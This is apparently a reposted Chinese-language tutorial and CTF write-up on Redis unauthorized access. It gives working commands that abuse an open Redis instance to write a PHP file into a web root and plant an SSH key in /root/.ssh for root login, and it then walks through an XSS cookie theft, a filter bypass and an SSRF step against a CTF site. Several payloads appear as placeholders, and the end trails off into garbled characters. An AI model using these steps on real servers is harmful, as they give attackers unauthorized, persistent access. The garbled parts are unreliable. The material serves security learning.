redis未授權訪問介紹

redis未授權訪問介紹

redis是一種以key-value為鍵值對的非關系型數據庫。

redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。

它通常被稱為數據結構服務器,因為值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等類型。

安裝服務

win

下載地址:https://github.com/MSOpenTech/redis/releases
測試環境:

操作系統:win7ip:192.168.107.144

redis未授權訪問介紹

命令行輸入

redis-server.exe?redis.conf

redis未授權訪問介紹

接著查看端口

redis未授權訪問介紹

6379端口(redis默認端口)已經打開

redis成功啟動

ubuntu

安裝

sudo?apt-get?update sudo?apt-get?install?redis-server

啟動服務

redis-server

基本命令

連接redis

redis-cli.exe?-h?192.168.107.144

查看鍵為x的值

redis?192.168.107.144:6379&gt;?get?x "<?php  phpinfo(); ?>"

get所有key

redis?192.168.107.144:6379&gt;?keys?* 1)?"x"

刪除所有鍵

redis?192.168.107.144:6379&gt;flushall

漏洞利用

本機通過telnet命令主動去連接目標機

redis未授權訪問介紹

或者通過redis-cli.exe -h 192.168.107.144連接

redis未授權訪問介紹

連接成功

輸入info獲取相關信息

可以看到redis版本號等

redis未授權訪問介紹

利用方式

  • 寫入一句話webshell

  • 寫入ssh公鑰

寫入shell

redis未授權訪問介紹

//設置x的值 redis?192.168.107.144:6379&gt;?set?x?"<?php  phpinfo(); ?>"??  redis?192.168.107.144:6379&gt;?config?set?dbfilename?test.php  redis?192.168.107.144:6379&gt;?config?set?dir?D:/WWW/PHPTutorial/WWW  redis?192.168.107.144:6379&gt;?save

成功寫入目標機

redis未授權訪問介紹

寫入ssh公鑰

在本地生成一對密鑰

root@ip-172-31-14-115:~/.ssh#?ssh-keygen?-t?rsa

redis未授權訪問介紹

接著將ssh公鑰寫入靶機

root@ip-172-31-14-115:/etc/redis#?redis-cli?-h?192.168.107.144 192.168.107.144:6379&gt;?config?set?dir?/root/.ssh???????????????????#?設置本地存儲文件目錄 192.168.107.144:6379&gt;?config?set?dbfilename?pub_keys????????#?設置本地存儲文件名  192.168.107.144:6379&gt;?set?x?"xxxx"??#?將你的ssh公鑰寫入x鍵里。(xxxx即你自己生成的ssh公鑰)  192.168.107.144:6379&gt;?save?????#?保存

再到本地去連接ssh

root@ip-172-31-14-115:~/.ssh#?ssh?-i?id_rsa?root@192.168.107.144

即可

CTF中的redis(XSS->SSRF&Gopher->Redis)

題目為

redis未授權訪問介紹

題目地址:https://hackme.inndy.tw/scoreboard/

xeeme

泄露

redis未授權訪問介紹

在robots.txt發現泄露源碼

是加密了的config.php

redis未授權訪問介紹

xss打cookie

注冊登陸后的界面

redis未授權訪問介紹

發郵件有驗證

redis未授權訪問介紹

驗證寫個腳本即可

<?php     $captcha=1;     while(1) {     if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")         {             echo $captcha;             break;         }         $captcha++; } echo "<br>".md5($captcha); ?&gt;

然后過濾了一些東西

redis未授權訪問介紹

用img測試

redis未授權訪問介紹

onload也過濾了

redis未授權訪問介紹

這里注意到一個細節,過濾的是空格加上onerror,猜想是匹配到有空格的onerror才會過濾,于是構造沒有空格的onerror,嘗試payload

@@##@@

然后打cookie,成功打到cookie

redis未授權訪問介紹

將SESSION解碼

PHPSESSID=rmibdo13ohquscgsuphitr9cp4;?FLAG_XSSME=FLAG{Sometimes,?XSS?can?be?critical?vulnerability?<script>alert(1)</script>};?FLAG_2=IN_THE_REDIS

xssrf leak

根據上一題的cookie,FLAG_2=IN_THE_REDIS

還是一樣的環境

因為拿到了管理員的cookie,于是登陸一下

redis未授權訪問介紹

需要本地登陸,嘗試一下偽造xff頭

換了幾個ip頭都沒用

于是想到之前做的題,可以直接去打管理員頁面的源碼

這里 不知道為什么 xss平臺接收不到,于是換了一個平臺

利用payload

@@##@@

redis未授權訪問介紹

發現innerhtml被過濾

于是html編碼

@@##@@

發現收到請求

redis未授權訪問介紹

解個碼,放在本地

redis未授權訪問介紹

SSRF讀取config.php

猜測send request功能存在ssrf

@@##@@

vps收到請求

redis未授權訪問介紹

解碼:

...   ??????
????????

?????????? ?????????? ????????

???????? ??????

???? ??

? 版權聲明
THE END
喜歡就支持一下吧
點贊12 分享